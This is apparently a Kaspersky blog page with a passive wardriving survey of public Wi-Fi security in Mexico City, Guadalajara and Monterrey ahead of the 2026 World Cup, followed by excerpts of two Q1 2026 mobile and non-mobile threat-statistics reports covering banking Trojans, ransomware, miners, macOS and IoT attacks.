Introduction

Mexico is one of the host countries for the 2026 FIFA World Cup, with matches to be played in three major cities: Mexico City, Monterrey, and Guadalajara. These locations are expected to see a large influx of international visitors, increasing the potential security risks. Many of those risks arise from users connecting to public wireless networks.

To better understand the wireless environments that visitors may encounter, we at Kaspersky GReAT conducted a wardriving assessment in the three host cities. The aim of the study was to analyze characteristics, deployment patterns, security configurations and potential exposure risks of public Wi-Fi infrastructure in urban wireless environments.

The information collected during the assessment was used exclusively for passive observation and infrastructure analysis. No attempts were made to authenticate, intercept communications, exploit systems or interact with the detected wireless networks beyond the publicly broadcast management information.

During processing of the collected data, one step involved filtering out networks belonging to cars or cell phones categorized as mobile hotspots because they do not represent networks that can be considered part of the assessment.

Research scope

The cities included in the study have high population density and extensive wireless infrastructure deployments. We chose areas with the most prominent wireless network activity and highly concentrated public access points. We carried out wardriving research in Monterrey back in 2008, but the city’s hotspot landscape has changed since then.

We chose the following analysis areas for each of the cities:

1. Mexico City: México City Stadium, Mexico City International Airport, Zócalo, Paseo de la Reforma, Colonia Roma, La Condesa, Polanco, and Coyoacán.
2. Guadalajara: Guadalajara Stadium, Guadalajara International Airport, the city center, Zapopan, Providencia, Avenida Chapultepec, Colonia Americana, Tlaquepaque, and the area around Andares.
3. Monterrey: Monterrey Stadium, Monterrey International Airport, Fundidora Park, Cintermex Monterrey, the downtown area, Barrio Antiguo, MacroPlaza, and the San Pedro financial district.

The wireless information was collected using passive wireless reconnaissance techniques. The collected information included:

• SSID analysis and information exposure, including BSSID-derived SSIDs
• Default router configurations and ISP deployments
• Frequency and signal characteristics
• Channel congestion and spectrum usage
• Wireless security configurations, including:
  • Open and insecure wireless networks
  • WPS-enabled networks
  • Secure networks (WPA2/WPA3) with WPS enabled

We performed a wireless infrastructure analysis in Mexico City, Guadalajara, and Monterrey. We drove through the areas surrounding the World Cup stadiums, tourist zones, and other places where fan concentrations are likely to be largest. Our goal was to evaluate the security status, deployment characteristics and operational exposure of detected wireless networks.

In total, we recorded 84,588 signals with 69,473 unique Service Set Identifiers (SSIDs) in busy locations and World Cup zones across the three cities. Mexico City accounted for 61.4% of the signals, Guadalajara for 23.6%, and Monterrey for 14.8%. Approximately 82% of the signals had a single SSID (81.9%, 81.34%, and 84% respectively). Notably, they all operate under the IEEE 802.11 standard protocol.

Particular attention was given to identifying standard deployment patterns, legacy configurations, default vendor settings and information disclosure through publicly broadcast wireless identifiers.

The following sections present the results that were obtained by analyzing wireless infrastructure across the three locations.

Our findings

SSID analysis and information exposure

SSID analysis was conducted to evaluate naming conventions, deployment standardization and potential information exposure.

Only a few networks (0.0047%) have an invisible SSID, meaning the names of these networks are not broadcast. Some users prefer to hide the SSID for various reasons, such as the network’s purpose, the profile of its users, internal policies, etc. In contrast, the rest of the networks maintained active SSID broadcasting.

SSID structures may unintentionally disclose operational details about internet service providers (ISPs), device manufacturers, deployment practices, organizational ownership or user identity. The repeated presence of default SSID naming patterns across the analyzed locations indicates a significant degree of infrastructure homogeneity and reuse of default wireless configurations. It may also facilitate passive infrastructure profiling by revealing standard characteristics in use.

Approximately 34% of the detected networks retained the default SSID naming conventions provided by the manufacturer or ISP, while 66% used customized identifiers.

Distribution of SSID naming conventions (download)

Several recurring SSID naming conventions associated with ISP-provided deployments were identified in the three cities. The most frequently observed patterns include identifiers such as “Club_Totalplay_WiFi”, “izzi WiFi”, and “Megacable WiFi”, which suggests extensive standardization of wireless infrastructure deployment. Additionally, we observed distinctive location-specific SSIDs in each area of analysis, such as “XXXX-Internet para Todos-CDMX” or “RED JALISCO”.

Most frequently observed SSID patterns (download)

Sequential SSID naming structures were also identified during the analysis. Patterns such as “INFINITUMXX” and “IZZI-XX” suggest automated ISP deployment and large-scale deployment strategies.

We identified 33 unique sequential naming structures among the 137 sequential SSIDs in total, representing approximately 0.16% of the detected wireless networks.

The following graph shows the top five sequential SSID patterns found in the largest number of networks:

Five most frequently observed sequential patterns (download)

Several customized SSIDs contained personal or organizational identifiers, including family names, professions, addresses or internal department references. Although personalized SSIDs may simplify local network identification for users, they may also expose sensitive information that could be useful for social engineering, physical targeting, or organizational profiling.

BSSID-derived SSID

During the analysis, multiple networks were identified that used the physical MAC address of a Wi-Fi access point (BSSID) as the visible SSID. This practice exposes hardware-level information that could facilitate vendor fingerprinting and targeted reconnaissance activities.

The organizationally unique identifier (OUI) contained in the first bytes of the BSSID identifies the equipment manufacturer. Threat actors can correlate exposed manufacturers with device-specific vulnerabilities.

BSSID-derived SSID by city (download)

Notably, we found that more than 30% of networks in all three cities reuse the MAC address as the SSID.

Default router configurations and ISP deployments

We performed wireless infrastructure profiling to identify the most common wireless equipment manufacturers and ISP deployments across the three locations.

Large-scale ISP deployments frequently use standardized wireless configurations and vendor-specific hardware platforms. Identifying dominant manufacturers and ISP naming conventions can provide insight into infrastructure and deployment practices facilitating the mapping of standardized attack surfaces.

The following figure shows the distribution of the most commonly used manufacturers.

Most frequently observed wireless equipment manufacturers (download)

The manufacturer analysis revealed a strong concentration of wireless infrastructure among a limited number of vendors. Across the three locations, Huawei Technologies, MediaTek-based devices, and other manufacturers’ equipment that is distributed through ISP channels represented a significant portion of the detected deployments. Mexico City had the most diverse infrastructure, while Monterrey and Guadalajara had a greater concentration of wireless equipment known as SOHO (small office/home office) or residential-grade hardware. The widespread presence of standard vendor platforms may facilitate infrastructure fingerprinting and large-scale targeting of known device-specific vulnerabilities.

Most frequently observed wireless equipment manufacturers across the three cities (download)

ISP deployments frequently exhibited standardized configuration patterns and recurring manufacturer identifiers. Our ISP deployment analysis revealed a high concentration of access points associated with major residential internet providers. Deployments associated with Infinitum, Totalplay and Izzi represented a substantial portion of the detected wireless infrastructure across all locations. These findings suggest a high degree of deployment standardization across networks associated with major residential internet providers. This observation was supported by the repeated presence of ISP-associated SSIDs such as “Infinitum”, “Totalplay”, and “Izzi”, combined with manufacturer identifiers frequently associated with consumer equipment, including Huawei, ZTE and other residential wireless equipment vendors.

It is important to note that, for this analysis, ISPs were primarily inferred from SSID naming conventions and manufacturer fingerprint data. A significant portion of the detected wireless networks fell into the “UNKNOWN/CUSTOM” category. This classification includes custom hotspots and networks whose naming conventions did not expose identifiable ISP-associated patterns. The findings suggest that many users and organizations (as we saw previously, approximately 66%) use custom network names, limiting direct provider attribution.

The following figure illustrates the distribution of ISP-associated wireless deployments in general.

Most frequently observed ISPs (download)

To better understand this distribution, we took the most frequently observed ISPs by city.

Most frequently observed ISPs across the three cities (download)

Frequency and signal characteristics

We also analyzed wireless signal characteristics to evaluate coverage quality, signal strength, and frequency band utilization in the three cities. In dense urban environments, signal quality and frequency spectrum distribution can affect wireless reliability, client connectivity, roaming performance, and overall network efficiency.

Signal quality analysis revealed that a substantial portion of the detected access points operated under weak or very weak signal conditions. Monterrey had the highest percentage of very weak signals, with approximately 50% of detected deployments. Similar patterns were observed in Guadalajara and Mexico City, suggesting high-density wireless environments with overlapping coverage areas. Only a limited percentage of networks were classified within the very good or excellent signal categories across the three locations.

Signal quality distribution by city (download)

Signal stability analysis revealed that most detected wireless deployments exhibited stable beacon transmission behavior. More than 96% of the detected access points across all locations were classified as stable, while only a small percentage exhibited unstable or indeterminate signal behavior.

These findings imply that the majority of the wireless infrastructure observed during the assessment corresponded to permanently deployed access points rather than transient or intermittent wireless devices.

Signal stability status (download)

Frequency band analysis revealed the strong prevalence of 2.4 GHz wireless deployments across the three locations. More than 95% of the detected wireless networks operated within the 2.4 GHz spectrum, while only a small percentage of deployments were classified under the unknown or non-standard frequency categories. This uneven distribution reflects the continued prevalence of legacy-compatible wireless infrastructure and SOHO deployments.

Frequency band utilization (download)

These findings are consistent with dense urban wireless environments with large numbers of access points in restricted spectrum allocations.

Channel congestion and spectrum usage

Next, we analyzed wireless channel utilization to evaluate frequency spectrum congestion and channel allocation patterns across the three cities. Our analysis focused on the 2.4 GHz spectrum, where channel overlap and high access point density commonly produce interference and degraded wireless performance. In densely populated wireless environments, an excessive concentration of access points on a limited number of channels can lead to co-channel interference, packet collisions, reduced throughput, and degraded network stability.

Spectrum congestion analysis revealed that the 2.4 GHz band consistently experienced elevated congestion levels across the three cities. The detailed results showed a strong concentration of deployments on channels 11, 6 and 1, which are traditionally recommended as non-overlapping channels within the 2.4 GHz spectrum. Channel 11 was the most utilized channel, accounting for 25.2% of the detected access points, followed by channel 6 with 22.5% and channel 1 with 19.5%. This distribution indicates that most wireless deployments adhere to standard channel allocation practices for 2.4 GHz Wi-Fi environments.

The following figure illustrates the overall distribution of the most frequently utilized wireless channels.

Most utilized wireless channels (download)

To further assess wireless spectrum saturation, the detected access points were grouped according to channel congestion levels: VERY_HIGH, HIGH, UNKNOWN, MEDIUM, LOW and NONE.

Mexico City had the highest proportion of heavily congested wireless channels, with approximately 7% of detected access points operating under HIGH congestion conditions. Guadalajara followed with nearly 5% of deployments categorized as HIGH congestion, while Monterrey had the lowest percentage at approximately 3.29%.

These findings suggest that wireless spectrum saturation increases proportionally with urban infrastructure density and access point concentration. Despite the presence of congested deployments, most detected access points were categorized as LOW or MEDIUM congestion, suggesting severe spectrum saturation was localized rather than uniformly distributed.

Channel congestion by city (download)

A thorough analysis of individual channel utilization revealed that channels 11, 6 and 1 consistently experienced the highest congestion levels across the three cities, which correlates with our previous findings. These channels accounted for the majority of VERY_HIGH congestion classifications, particularly within the 2.4 GHz band.

In Mexico City, channel 11 alone accounted for more than 25% of detected deployments and consistently exhibited VERY_HIGH congestion levels.

This behavior reflects the limited availability of non-overlapping channels within the 2.4 GHz spectrum and the widespread reliance on default wireless configurations.

Most congested channels by city (download)

Overall, the channel utilization analysis showed that wireless deployments are concentrated heavily within the traditional, non-overlapping 2.4 GHz channels. While this strategy reduces adjacent-channel interference, excessive access point density on the same channels can still produce significant co-channel contention and poor wireless performance in high-density urban environments.

Wireless security configurations

The next thing we evaluated was the security posture of the detected wireless networks. We analyzed the wireless security configurations advertised by access points in each of the locations.

Overall security configuration distribution

The analysis revealed that WPA2 was the dominant wireless authentication mechanism across the three cities. Mexico City had the highest WPA2 adoption rate at 81.19%, followed by Monterrey at 79.19% and Guadalajara at 77.59%.

The study found that every 6th open access point (17%) was unsafe, namely 16.5% in Mexico City, 18.5% in Guadalajara, and 17.2% in Monterrey. Open wireless deployments were consistently present across all locations, ranging between 10% and 12% of detected access points. These findings show that despite the widespread deployment of modern wireless security standards, encryption adoption remains incomplete.

Distribution of wireless authentication mechanisms across the three locations (download)

To simplify the interpretation of wireless security posture, we grouped detected networks into four categories:

• Secure (WPA2/WPA3)
• Insecure (Open/WEP)
• Weak (WPA)
• Unknown

Across the three locations, secure networks comprised most of detected deployments, accounting for approximately 82% of all access points. However, insecure open networks still account for between 10% and 12% of detected wireless infrastructure, consistent with our previous findings. It is important to mention that networks within the unknown category are not considered secure.

Mexico City had the highest percentage of secure deployments at 83.54%, while Guadalajara had the highest percentage of insecure open networks at 12.46%. Although Monterrey had the lowest percentage of insecure networks, open deployments still accounted for more than 10% of the detected access points.

Wireless security posture grouping across the three locations (download)

Although modern WPA2/WPA3 encryption standards dominate current wireless deployments, the continued presence of open and legacy WPA deployments indicates that insecure wireless configurations remain relevant from an operational standpoint. These networks may expose users to passive traffic interception, unauthorized monitoring, rogue access point attacks, and credential harvesting techniques.

WPS-enabled networks

We also analyzed Wi-Fi Protected Setup (WPS) in all the locations to evaluate additional attack surfaces. WPS is a standard feature on wireless routers that enables devices such as printers, repeaters or mobile phones to connect to a secure Wi-Fi network without manually entering a long password, typically through a PIN-based enrolled mechanism. Although WPA2 and WPA3 provide strong encryption mechanisms, the presence of WPS can introduce security weaknesses due to inherently vulnerable PIN-based enrollment methods.

By combining detections from the three locations, we found that 55% of all detected access points did not advertise WPS capabilities, leaving 45% of deployments vulnerable to WPS-based abuse. These results suggest that, despite the adoption of modern encryption standards, a significant portion of wireless infrastructure continues to expose legacy convenience features.

During the analysis, we found that Mexico City had the highest proportion of WPS-enabled networks, with 46.61% of the detected access points advertising WPS capabilities. Guadalajara was second with 43.45%, while Monterrey had the lowest proportion at 40.93%.

The percentage of detected access points advertising WPS capabilities across the three locations (download)

Almost half of the detected wireless networks in each city continued to advertise WPS, indicating that WPS prevalence is consistently high across the three cities.

Secure networks with WPS enabled

In many cases, networks classified as secure because of WPA2/WPA3 encryption still had WPS functionality enabled, which effectively increased the available attack surface.

To further assess the relationship between encryption strength and WPS exposure, we conducted a secondary analysis of secure networks (WPA2/WPA3) only. The results showed that around half of all secure deployments still exposed WPS, with the following breakdown for each city:

• Mexico City: 53.7%
• Guadalajara: 50.9%
• Monterrey: 47.5%

The proportion of secure networks with WPS enabled across the three locations (download)

These findings indicate that encryption strength alone is not enough to evaluate wireless security posture because additional protocol features, such as WPS, may still expose exploitable attack vectors.

Additional security considerations

Overall, travelers operating within dense public environments are exposed not only to insecure wireless infrastructure but also to various risks associated with digital interactions. These risks include many threats, from public USB charging systems and phishing QR codes to proximity-based protocols and exposure to shared public devices, such as interactive totems or kiosks. One particular point that should be taken into account in light of our research is the issue of rogue wireless deployments.

Rogue access points are not necessarily malicious; they may be set up accidentally by misconfiguring router settings. An entry point for potential compromise might be caused by various misconfigurations, from a weak password to an insecure protocol. However, attackers deploy such unauthorized hotspots with malicious intent to infiltrate a network. Threat actors may deploy rogue access points posing as legitimate public wireless networks in airports, hotels, cafés and tourist areas. These deployments are called “evil twins” and can trick users into connecting to attacker-controlled infrastructure capable of intercepting traffic, harvesting credentials, or performing man-in-the-middle attacks. Further risk lies in the potential compromise of local network devices or even malware distribution. Such threats complement our findings, underscoring the importance of implementing traffic encryption, using a security solution and exercising extreme caution while browsing via public networks.

Conclusion

The wardriving assessment conducted in Mexico City, Guadalajara, and Monterrey revealed that modern wireless infrastructure continues to present multiple forms of operational exposure despite the widespread adoption of WPA2 and WPA3 security standards. The analysis demonstrated that wireless environments are highly standardized in all the locations, with recurring ISP deployments, default SSID naming conventions, homogeneous manufacturer distribution, and predictable channel allocation practices observed in all three cities.

Although most of the detected networks were classified as secure under WPA2/WPA3 authentication mechanisms, a significant proportion were exposing additional attack surfaces through enabled WPS functionality, default configurations, sequential SSID structures, and infrastructure metadata disclosure. This demonstrates that encryption strength alone is insufficient for evaluating the overall security posture of wireless infrastructure. Additionally, the prevalence of open networks and legacy wireless configurations indicates that insecure deployments are still operationally relevant in all the locations.

The results also showed that wireless infrastructure is heavily concentrated within the 2.4 GHz spectrum, particularly around channels 11, 6, and 1. This leads to elevated congestion and increased co-channel interference in densely populated urban environments.

SSID analysis further revealed that publicly broadcast wireless identifiers frequently expose valuable operational information about ISPs, equipment manufacturers, deployment templates, organizational ownership, and user-defined naming practices. The identification of default ISP naming conventions, sequential SSID structures, and BSSID-derived SSIDs demonstrated that many deployments prioritize operational convenience and simplicity over exposure minimization and privacy.

The scope of the threats stemming from vulnerable wireless configurations poses serious digital exposure risks for users. The widespread presence of standard deployments, predictable SSID naming and publicly exposed infrastructure identifiers can facilitate passive reconnaissance, infrastructure fingerprinting and opportunistic targeting.

Recommendations

To minimize the risks of wireless-based exposure and the attack surface related to hotspot infrastructure, we recommend taking the following measures:

• Disable WPS functionality on wireless routers whenever possible, particularly within WPA2/WPA3 deployments.
• Avoid using default SSID naming conventions that disclose ISP providers, router manufacturers, or deployment templates.
• Refrain from using personal, organizational, or location-based identifiers in wireless network names.
• Avoid configuring SSID using BSSID or naming conventions derived from MAC addresses, as these may expose hardware fingerprinting information.
• Promote migration toward modern WPA3-capable infrastructure while removing legacy wireless protocols when operationally feasible.
• Reduce wireless congestion by optimizing channel allocation strategies and minimizing excessive dependence on the 2.4 GHz spectrum.
• Encourage adoption of 5 GHz and newer wireless technologies to reduce interference and improve spectrum efficiency.

The findings presented in this assessment emphasize the importance of combining strong wireless encryption standards, secure deployment practices, exposure minimization strategies, and user awareness to enhance the overall security posture of wireless environments.

IT threat evolution in Q1 2026. Mobile statistics
IT threat evolution in Q1 2026. Non-mobile statistics

In the third quarter of 2025, we updated the methodology for calculating statistical indicators based on the Kaspersky Security Network. These changes affected all sections of the report except for the statistics on installation packages, which remained unchanged.

To illustrate the differences between the reporting periods, we have also recalculated data for the previous quarters. Consequently, these figures may significantly differ from the previously published ones. However, subsequent reports will employ this new methodology, enabling precise comparisons with the data presented in this post.

The Kaspersky Security Network (KSN) is a global network for analyzing anonymized threat information, voluntarily shared by users of Kaspersky solutions. The statistics in this report are based on KSN data unless explicitly stated otherwise.

The quarter in numbers

According to Kaspersky Security Network, in Q1 2026:

• More than 2.67 million attacks utilizing malware, adware, or unwanted mobile software were prevented.
• The Trojan-Banker category was the prevalent mobile malware threat with a 52.96% share of total detected applications.
• More than 306,000 malicious installation packages were discovered, including:
  • 162,275 packages related to mobile banking Trojans;
  • 439 packages related to mobile ransomware Trojans.

Quarterly highlights

The number of malware, adware, or unwanted software attacks on mobile devices decreased to 2,676,328 in Q1, down from 3,239,244 in the previous quarter.

Attacks on users of Kaspersky mobile solutions, Q3 2024 — Q1 2026 (download)

The overall drop in attack volume stems primarily from a reduction in adware and RiskTool detections. Nonetheless, this trend does not equate to a lower risk for mobile users. As shown later in this report, the number of unique users targeted by these threats remained relatively stable.

In Q1, Synthient researchers identified a link between the notorious Kimwolf botnet and the IPIDEA proxy network. This network was later taken down in cooperation with GTIG.

In early 2026, we discovered several apps on Google Play and the App Store that contained a new version of the SparkCat crypto stealer.

The Trojan code, meticulously concealed, was embedded into the infected Android apps. The obfuscated malicious Rust library was decrypted using a Dalvik-like virtual machine custom-built by the attackers. The iOS version of the malware also underwent several changes; specifically, the attackers began leveraging Apple’s proprietary Vision framework for optical character recognition (OCR).

Mobile threat statistics

The number of Android malware samples saw a slight increase compared to Q4 2025, reaching a total of 306,070.

Detected malicious and potentially unwanted installation packages, Q1 2025 — Q1 2026 (download)

The detected installation packages were distributed by type as follows:

Detected mobile apps by type, Q4 2025* — Q1 2026 (download)

* Data for the previous quarter may differ slightly from previously published figures due to certain verdicts being retrospectively revised.

Threat actors once again ramped up the production of new banking Trojans; as a result, this category overtook all others in volume, accounting for more than half of all installation packages.

Share* of users attacked by the given type of malicious or potentially unwanted app out of all targeted users of Kaspersky mobile products, Q4 2025 — Q1 2026 (download)

* The total percentage may exceed 100% if the same users encountered multiple attack types.

Following the surge in banking Trojan installation packages, the number of associated attacks also rose, causing Trojan-Banker apps to climb one spot in terms of their share of targeted users. Mamont variants emerged as the most prevalent banking Trojans, accounting for 73.5% of detections, with the rest of the users encountering Faketoken, Rewardsteal, Creduz, and other families.

Yet banking Trojans were still outpaced by adware and RiskTool-type unwanted apps when measured by the total number of affected users. Despite a decrease in their share of installation packages, these two app types retained their positions as the top two threats by attack volume. The most common adware detections involved HiddenAd (44.9%) and MobiDash (38.1%), while most frequently seen RiskTool apps were Revpn (67%) and SpyLoan (20.5%).

TOP 20 most frequently detected types of mobile malware

Note that the malware rankings below exclude riskware or potentially unwanted software, such as RiskTool or adware.

Verdict	%* Q4 2025	%* Q1 2026	Difference in p.p.	Change in ranking
Backdoor.AndroidOS.Triada.ag	2.62	7.09	+4.48	+10
DangerousObject.Multi.Generic.	6.75	5.84	-0.92	-1
DangerousObject.AndroidOS.GenericML.	3.52	5.51	+1.99	+6
Trojan-Banker.AndroidOS.Mamont.jo	0.00	5.28	+5.28
Trojan.AndroidOS.Fakemoney.v	5.40	3.44	-1.96	-1
Trojan-Downloader.AndroidOS.Keenadu.l	0.00	3.35	+3.35
Trojan-Banker.AndroidOS.Mamont.jx	0.00	3.09	+3.09
Backdoor.AndroidOS.Triada.z	4.87	3.08	-1.79	-2
Trojan.AndroidOS.Triada.fe	5.01	2.98	-2.02	-4
Backdoor.AndroidOS.Keenadu.a	2.07	2.73	+0.66	+6
Trojan-Banker.AndroidOS.Mamont.jg	0.34	2.37	+2.03
Trojan.AndroidOS.Triada.hf	2.15	2.23	+0.07	+3
Trojan.AndroidOS.Boogr.gsh	2.35	2.15	-0.20	0
Trojan.AndroidOS.Triada.ii	5.68	2.07	-3.60	-11
Backdoor.AndroidOS.Triada.ae	1.91	1.76	-0.16	+3
Backdoor.AndroidOS.Triada.ab	1.79	1.72	-0.08	+3
Trojan.AndroidOS.Triada.gn	2.38	1.58	-0.80	-5
Trojan-Banker.AndroidOS.Mamont.gg	1.56	1.50	-0.06	+2
Trojan.AndroidOS.Triada.ga	1.48	1.50	+0.01	+4
Backdoor.AndroidOS.Triada.ad	0.53	1.40	+0.87	+44

* Unique users who encountered this malware as a percentage of all attacked users of Kaspersky mobile solutions.

The pre-installed Triada.ag backdoor rose to the top spot; it is similar to the older Triada.z version we documented previously. Because the same variant was pre-installed across a wide range of devices, the total number of affected users is aggregated. Consequently, Triada outpaced even Mamont, as users encountered a variety of Mamont variants, causing the share of that banking Trojan to spread across multiple rows. Other pre-installed Triada variants (Triada.z, Triada.ae, Triada.ab, and Triada.ad) also made the rankings. Furthermore, we observed increasing activity from the Keenadu.a backdoor, while diverse variants of the embedded Triada Trojan remained in the rankings.

Mobile banking Trojans

Q1 2026 saw a characteristic rise in mobile banking Trojan activity, with the number of packages totaling 162,275, a 50% increase compared to the prior quarter.

Number of installation packages for mobile banking Trojans detected by Kaspersky, Q1 2025 — Q1 2026 (download)

We saw a similar growth in the previous quarter, with banking Trojan volumes rising by 50% during that period as well. Various Mamont variants accounted for the absolute majority of packages and represented nearly every entry in the rankings of most frequent banking Trojans by affected user count.

TOP 10 mobile bankers

Verdict	%* Q4 2025	%* Q1 2026	Difference in p.p.	Change in ranking
Trojan-Banker.AndroidOS.Mamont.jo	0.00	15.75	+15.75
Trojan-Banker.AndroidOS.Mamont.jx	0.00	9.22	+9.22
Trojan-Banker.AndroidOS.Mamont.jg	1.47	7.08	+5.61	+24
Trojan-Banker.AndroidOS.Mamont.gg	6.79	4.48	-2.32	-3
Trojan-Banker.AndroidOS.Mamont.ks	0.00	3.98	+3.98
Trojan-Banker.AndroidOS.Agent.ws	6.03	3.78	-2.25	-2
Trojan-Banker.AndroidOS.Mamont.hl	4.30	3.27	-1.03	+1
Trojan-Banker.AndroidOS.Mamont.iv	6.00	3.08	-2.92	-3
Trojan-Banker.AndroidOS.Mamont.jb	3.93	3.07	-0.86	+1
Trojan-Banker.AndroidOS.Mamont.jv	0.00	2.79	+2.79

* Unique users who encountered this malware as a percentage of all users of Kaspersky mobile security solutions who encountered banking threats.

IT threat evolution in Q1 2026. Non-mobile statistics
IT threat evolution in Q1 2026. Mobile statistics

The statistics in this report are based on detection verdicts returned by Kaspersky products unless otherwise stated. The information was provided by Kaspersky users who consented to sharing statistical data.

Quarterly figures

In Q1 2026:

• Kaspersky products blocked more than 343 million attacks that originated with various online resources.
• Web Anti-Virus responded to 50 million unique links.
• File Anti-Virus blocked nearly 15 million malicious and potentially unwanted objects.
• 2938 new ransomware variants were detected.
• More than 77,000 users experienced ransomware attacks.
• 14% of all ransomware victims whose data was published on threat actors’ data leak sites (DLS) were victims of Clop.
• More than 260,000 users were targeted by miners.

Ransomware

Quarterly trends and highlights

Law enforcement success

In January 2026, it was reported that the FBI had seized the domains of the RAMP cybercrime forum, a major platform used extensively by ransomware developers to advertise their RaaS programs and to recruit affiliates. There has been no official statement from the FBI, nor is it clear if RAMP servers were seized. In a post on an external website, a RAMP moderator mentioned law enforcement agencies gaining control over the forum. The takedown disrupted a key element of the RaaS ecosystem, creating ripple effects for ransomware operators, affiliates, and initial access brokers.

A man suspected of links to the Phobos group was apprehended in Poland. He was charged with the creation, acquisition, and distribution of software designed for unlawfully obtaining information, including data that facilitates unauthorized access to information stored within a computer system.

In March, a Phobos ransomware administrator pleaded guilty to the creation and distribution of the Trojan, which had been used in international attacks dating back to at least November 2020.

In March, the U.S. Department of Justice charged a man who had acted as a negotiator for ransomware groups. The company he worked for specializes in cyberincident investigations. The prosecution alleges the suspect colluded with the BlackCat threat actor to share privileged insights into the ongoing progress of negotiations. Additionally, the suspect is alleged to have had a prior direct role in BlackCat attacks, serving as an affiliate for the RaaS operation.

In a separate development this March, a U.S. court sentenced an initial access broker associated with the Yanluowang ransomware group to 81 months of imprisonment. According to the U.S. Department of Justice, the convict facilitated dozens of ransomware attacks across the United States, resulting in over $9 million in actual loss and more than $24 million in intended loss.

Vulnerabilities and attacks

The Interlock group has been heavily exploiting the CVE-2026-20131 zero-day vulnerability in Cisco Secure FMC firewall management software since at least January 26, 2026. The vulnerability enabled arbitrary Java code execution with root privileges on the affected device. This campaign demonstrates the ongoing reliance on zero-day vulnerabilities for initial access, a focus on network appliances as high-value entry points, and the rapid weaponization of new vulnerabilities within the ransomware ecosystem.

The most prolific groups

This section highlights the most prolific ransomware gangs by number of victims added to each group’s DLS. This quarter, the Clop ransomware (14.42%) returned to the top of the rankings, displacing Qilin (12.34%), which had held the leading position in the previous reporting period. Following closely is a new threat actor, The Gentlemen (9.25%). Emerging no later than July 2025, the group had already surpassed the activity levels of mainstays such as Akira (7.25%) and INC Ransom (6.13%).

Number of each group’s victims according to its DLS as a percentage of all groups’ victims published on all the DLSs under review during the reporting period (download)

Number of new variants

In Q1 2026, Kaspersky solutions detected six new ransomware families and 2938 new modifications. Volumes have returned to Q3 2025 levels following a surge in Q4 2025.

Number of new ransomware modifications, Q1 2025 — Q1 2026 (download)

Number of users attacked by ransomware Trojans

Throughout Q1, our solutions protected 77,319 unique users from ransomware. Ransomware activity was highest in March, with 35,056 unique users encountering such attacks during the month.

Number of unique users attacked by ransomware Trojans, Q1 2026 (download)

Attack geography

TOP 10 countries and territories attacked by ransomware Trojans

	Country/territory*	%**
1	Pakistan	0.79
2	South Korea	0.64
3	China	0.52
4	Tajikistan	0.40
5	Libya	0.38
6	Turkmenistan	0.36
7	Iraq	0.35
8	Bangladesh	0.33
9	Rwanda	0.30
10	Cameroon	0.28

* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country/territory.

TOP 10 most common families of ransomware Trojans

	Name	Verdict	%*
1	(generic verdict)	Trojan-Ransom.Win32.Gen	33.90
2	(generic verdict)	Trojan-Ransom.Win32.Crypren	6.38
3	WannaCry	Trojan-Ransom.Win32.Wanna	5.87
4	(generic verdict)	Trojan-Ransom.Win32.Encoder	4.68
5	(generic verdict)	Trojan-Ransom.Win32.Agent	3.80
6	LockBit	Trojan-Ransom.Win32.Lockbit	2.80
7	(generic verdict)	Trojan-Ransom.Win32.Phny	1.99
8	(generic verdict)	Trojan-Ransom.MSIL.Agent	1.96
9	(generic verdict)	Trojan-Ransom.Python.Agent	1.93
10	(generic verdict)	Trojan-Ransom.Win32.Crypmod	1.89

* Unique Kaspersky users attacked by the specific ransomware Trojan family as a percentage of all unique users attacked by this type of threat.

Miners

Number of new variants

In Q1 2026, Kaspersky solutions detected 3485 new modifications of miners.

Number of new miner modifications, Q1 2026 (download)

Number of users attacked by miners

In Q1, we detected attacks using miner programs on the computers of 260,588 unique Kaspersky users worldwide.

Number of unique users attacked by miners, Q1 2026 (download)

Attack geography

TOP 10 countries and territories attacked by miners

	Country/territory*	%**
1	Senegal	3.19
2	Turkmenistan	3.06
3	Mali	2.63
4	Tanzania	1.62
5	Bangladesh	1.06
6	Ethiopia	0.95
7	Panama	0.88
8	Afghanistan	0.79
9	Kazakhstan	0.77
10	Bolivia	0.75

* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by miners as a percentage of all unique users of Kaspersky products in the country/territory.

Attacks on macOS

In Q1 2026, Google uncovered a new cryptocurrency theft campaign. The scammers directed victims to a fraudulent video call, prompting them to execute malicious scripts under the guise of technical support fixes for connection problems.

In March, researchers with GTIG and iVerify reported the discovery of an in-the-wild exploit chain targeting both iOS and macOS devices. The exploit kit was apparently marketed on the dark web, providing threat actors with a suite of spyware capabilities alongside specialized cryptocurrency exfiltration modules. The exploit was delivered via drive-by downloads when victims visited various compromised websites. Our analysis confirmed that the toolkit included an updated version of a component previously identified in the Operation Triangulation attack chain.

Devices running macOS were similarly impacted by the high-profile supply chain attack targeting the Axios npm package, a widely used HTTP client for JavaScript. The installation of the infected package led to the deployment of a backdoor on macOS devices.

TOP 20 threats to macOS

Unique users* who encountered this malware as a percentage of all attacked users of Kaspersky security solutions for macOS (download)

* Data for the previous quarter may differ slightly from previously published data due to some verdicts being retrospectively revised.

The share of PasivRobber spyware attacks is beginning to decline, giving way to more traditional adware and Monitor-class software capable of tracking user activity. The popular Amos stealer also maintains its presence within the TOP 20.

Geography of threats to macOS

TOP 10 countries and territories by share of attacked users

Country/territory	%* Q4 2025	%* Q1 2026
China	1.28	1.97
France	1.18	1.07
Brazil	1.13	0.98
Mexico	0.72	0.52
Germany	0.71	0.45
The Netherlands	0.62	0.75
Hong Kong	0.49	0.53
India	0.42	0.48
Russian Federation	0.34	0.37
Thailand	0.24	0.27

* Unique users who encountered threats to macOS as a percentage of all unique Kaspersky users in the country/territory.

IoT threat statistics

This section presents statistics on attacks targeting Kaspersky IoT honeypots. The geographic data on attack sources is based on the IP addresses of attacking devices.

In Q1 2026, the share of devices attacking Kaspersky honeypots via the SSH protocol saw a significant increase compared to the previous reporting period.

Distribution of attacked services by number of unique IP addresses of attacking devices (download)

The distribution of attacks between Telnet and SSH maintained the ratio observed in Q4 2025.

Distribution of attackers’ sessions in Kaspersky honeypots (download)

TOP 10 threats delivered to IoT devices

Share of each threat delivered to an infected device as a result of a successful attack, out of the total number of threats delivered (download)

The primary shifts in the IoT threat distribution are linked to the activity of various Mirai botnet variants, although members of this family continue to account for the majority of the list. Furthermore, a new variant, Mirai.kl, surfaced in the rankings. We also observed a significant decline in NyaDrop botnet activity during Q1.

Attacks on IoT honeypots

The United States, the Netherlands, and Germany accounted for the highest proportions of SSH-based attacks during this period.

